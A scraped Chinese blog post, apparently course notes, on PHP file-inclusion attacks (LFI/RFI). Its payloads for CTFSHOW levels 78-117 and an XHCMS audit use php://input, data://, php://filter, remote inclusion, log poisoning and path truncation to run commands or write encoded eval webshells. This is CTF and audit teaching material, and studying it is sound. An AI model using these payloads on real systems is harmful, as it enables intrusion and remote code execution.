day42 文件包含LFIRFI伪协议编码算法代码审计

news2025/1/14 18:45:02

前言:

#知识点:

1、解释-什么是文件包含

2、分类-本地LFI&远程RFI

3、利用-配合上传&日志&会话

4、利用-伪协议&编码&算法等

#核心知识:

1、本地包含LFI&远程包含RFI-区别

一个只能包含本地,一个可以远程加载

具体形成原因由代码和环境配置文件决定

2、各类脚本语言包含代码写法-见下文

<!--#include file="1.asp" -->

<!--#include file="top.aspx" -->

<c:import url="http://thief.one/1.jsp">

<jsp:include page="head.jsp"/>

<%@ include file="head.jsp"%>

<?php Include('test.php')?>

3、各类脚本语言包含伪协议玩法-见图

https://www.cnblogs.com/endust/p/11804767.html

#思路要点:

-黑盒发现:主要观察参数传递的数据和文件名是否对应

-白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

#CTF应用-CTFSHOW-78关卡到117关卡

78-php&http协议

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

payload: ?file=php://input post:<?php system('tac flag.php');?>

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

79-data&http协议

payload: ?file=data://text/plain,<?=system('tac flag.*');?>

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

80 81-日志包含

1、利用其他协议,如file,zlib等

2、利用日志记录UA特性包含执行

分析需文件名及带有php关键字放弃

故利用日志记录UA信息,UA带入代码

包含:/var/log/nginx/access.log

82-86-SESSION包含

https://www.cnblogs.com/lnterpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

87-php://filter/write&加密编码

1、利用base64:

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13:

url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG[1]);?>

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

117-php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

<?php

$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');

echo "经过一次反转:".$result."\n";

echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);

?>

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

#CMS源码-XHCMS-代码审计&日志&绕过

1、搜索特定函数寻包含点

2、固定目录及后缀名需绕过

3、由CMS无上传用日志包含

4、利用长度绕过后缀名固定(仅限于PHP低版本)

Payload:

?r=../../../Apache/logs/access.log/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

文件包含总结:

1、有可控文件如能上传文件,配合上传后包含

2、无可控文件可以利用日志或Session&伪协议

3、代码固定目录及文件后缀时需考虑版本绕过

4、伪协议玩法是建立在代码中只有变量存在时

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/74610.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

操作系统例题合集(持续更新)

传送门 由于操作系统知识太多&#xff0c;再加上我总结的比较细&#xff0c;所以一片放不下&#xff0c;拆分成了多篇文章。 操作系统笔记——概述、进程、并发控制 操作系统笔记——储存器管理、文件系统、设备管理 操作系统笔记——Linux系统实例分析、Windows系统实例分析 …

模拟和矢量信号源进阶使用技巧

前言 通常射频信号源的简单应用通常只是输入频率、功率&#xff0c;加上一些模拟、数字调制&#xff0c;然而要充分挖掘出信号源的潜力和性能需要更多的技巧。本应用指南会告诉您可以通过更多的方式提高射频信号源输出信号的质量&#xff0c;具体内容包括&#xff1a; 1. 提高…

【LeetCode_字符串_逻辑分析】6. Z 字形变换

目录考察点第一次&#xff1a;2022年12月9日10:58:17解题思路代码展示题目描述6. Z 字形变换 将一个给定字符串 s 根据给定的行数 numRows &#xff0c;以从上往下、从左到右进行 Z 字形排列。 比如输入字符串为 “PAYPALISHIRING” 行数为 3 时&#xff0c;排列如下&#xf…

DAP组件外部服务开发说明

DAP数据分析平台主要是为了满足企业数据分析的需要而开发的一款产品&#xff0c;不同于一般的BI平台&#xff0c;DAP数据分析平台更侧重数据的聚合&#xff0c;平台预置有数据源注册、ODS注册与管理、数仓配置与数据聚合&#xff0c;从而实现企业业务数据的统一&#xff0c;构建…

不掌握这些坑,你敢用BigDecimal吗?

背景 一直从事金融相关项目&#xff0c;所以对BigDecimal再熟悉不过了&#xff0c;也曾看到很多同学因为不知道、不了解或使用不当导致资损事件发生。 所以&#xff0c;如果你从事金融相关项目&#xff0c;或者你的项目中涉及到金额的计算&#xff0c;那么你一定要花时间看看…

C++ 特殊类的设计

文章目录1. 设计一个只能在堆上创建对象的类2. 设计一个只能在栈上创建对象的类3. 设计一个类不能被拷贝4. 设计一个类 不能被继承5. 设计一个类&#xff0c;只能创建一个对象前言&#xff1a; 在本文中&#xff0c;我们掌握几种常见的特殊类的设计。1. 设计一个只能在堆上创建…

微信小程序使用vant 和 mobx 自动定义Tabbar

vant 和 mobx 自动定义Tabbar 在此案例中&#xff0c;用到的主要知识点如下&#xff1a; 自定义组件 Vant 组件库 MobX 数据共享 组件样式隔离 组件数据监听器 组件的 behaviors Vant 样式覆盖 1.首先需要给我们的app.json 配置tabBar “custom”&#xff1a;true 注意点&…

代码随想录算法训练营第五十九天| LeetCode503. 下一个更大元素 II、LeetCode42. 接雨水

一、LeetCode503. 下一个更大元素 II 1&#xff1a;题目描述&#xff08;503. 下一个更大元素 II&#xff09; 给定一个循环数组 nums &#xff08; nums[nums.length - 1] 的下一个元素是 nums[0] &#xff09;&#xff0c;返回 nums 中每个元素的 下一个更大元素 。 数字 x 的…

实践 DevOps 测试策略

什么是 DevOps 测试策略&#xff1f; DevOps 的一个重要组成部分是持续集成/持续交付(CI/CD)&#xff0c;在 CI 和 CD 之间的就是持续测试。 如果不进行持续测试&#xff0c;将会出现&#xff1a; 缺陷的泄漏软件延期交付客户不满意DevOps 测试策略的好处 可以提供更快的反…

如何在vscode、remix中结合hardhat编译部署合约

创建 hardhat 工程 # 创建npm空项目&#xff0c;注意这里要选择合约项目对应的文件目录 npm init # 安装 hardhat 环境&#xff0c;这里安装的版本 2.11.1 npm install --save-dev hardhat2.11.1 # 创建工程 npx hardhat首先创建 npm 空项目&#xff0c;注意这里要选择合约项目…

Linux编程环境

一、实验目的 1&#xff0e;熟悉Linux下C语言程序设计的基本步骤 2&#xff0e;掌握gcc编译器的各种参数的使用方法 3&#xff0e;掌握gcc编译器创建函数库的方法 4&#xff0e;掌握gdb调试程序的方法 5&#xff0e;掌握多文件编译中的makefile的用法 二、实验软硬件要求…

matlab学习笔记(八)

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 matlab学习笔记&#xff08;八&#xff09;一、傅里叶变换的MATLAB求解二、连续时间信号的频谱图三、MATLAB分析LTI系统的频率特性一、傅里叶变换的MATLAB求解 MATLAB的symb…

大学生网页设计制作作业实例代码 (全网最全,建议收藏) HTML+CSS+JS

文章目录&#x1f4da;web前端期末大作业 (1500套) 集合一、网页介绍二、网页集合三、作品演示A电影主题B漫画主题C商城主题D家乡主题E旅游主题F餐饮/美食主题G环境主题H游戏主题I 个人主题K体育主题L博客主题M汽车主题N文化主题P美妆主题Q企业主题R教育主题S其他主题&#x1f…

Docker的私有仓库部署——Harbor

一.Docker原生私有仓库—— Registry 1.1 Registry的简单了解 关于Docker的仓库分为私有库和公有仓库&#xff0c;共有仓库只要在官方注册用户&#xff0c;登录即可使用。但对于仓库的使用&#xff0c;企业还是会有自己的专属镜像&#xff0c;所以私有库的搭建也是很有必要的…

力扣(LeetCode)1780. 判断一个数字是否可以表示成三的幂的和(C++)

进制转换 转换 333 进制&#xff0c;如果每一位非 000 即 111 &#xff0c;returntruereturn\ truereturn true (数字 000 除外&#xff09;。 如果任意一位为 222 &#xff0c;returnfalsereturn\ falsereturn false 。 证明: 对于第 ppp 位&#xff0c; 如果 p0p0p0 &#…

数据结构——树和二叉树最全总结(期末复习必备)

目录 树和二叉树 树的基本术语&#xff08;均以上图b为例&#xff09;&#xff1a; 遍历二叉树&#xff1a; 线索二叉树&#xff1a; 树的存储结构&#xff1a; 树与二叉树的转换&#xff08;利用的就是把二叉树和树表示成相同的二叉链表&#xff09;&#xff1a; 森林与二…

KubeSphere 接入外部 Elasticsearch 最佳实践

作者&#xff1a;张坚&#xff0c;科大讯飞开发工程师&#xff0c;云原生爱好者。 大家好&#xff0c;我是张坚。今天来聊聊如何在 KubeSphere 中集成外置的 ES 组件。 KubeSphere 在安装完成时候可以启用日志组件&#xff0c;这样会安装 ES 组件并可以收集所有部署组件的日志…

索引优化学习

背景 最近做查询优化&#xff0c;学到的。字段长度&#xff0c;索引长度联合索引计算是否使用范围查询使用索引 字段长度&#xff08;varchar&#xff09; 只谈论varchar&#xff1a;首先我们建表varchar(20) 中的20是字符数。看你的数据库编码 执行&#xff1a;show creat…

支持多种网关类型!米尔基于Zynq-7010/20开发平台工业网关设计应用

随着工业物联网的飞速的发展&#xff0c;5G时代的到来&#xff0c;工业控制系统在生产领域应用越来越广泛&#xff0c;工业物联网为未来工业控制系统灵活性和可扩展性的需求提供了支持。工业物联网使我们的生产数据可以进行规模化集中存储&#xff0c;并利用高速采集、云计算等…

ChatGPT国产平替出现了:APP商店就能下载,还可给AI加人设,背后公司刚成立3个月...

明敏 发自 凹非寺量子位 | 公众号 QbitAIChatGPT太火爆谁不想上手试试&#xff1f;但注册复杂、服务器拥挤……着实有点麻烦。不过很快就有极客网友指路&#xff0c;说国内其实已经有类似的APP上线了&#xff0c;也是上知天文下知地理的那种。比如聊聊《三体》&#xff0c;还会…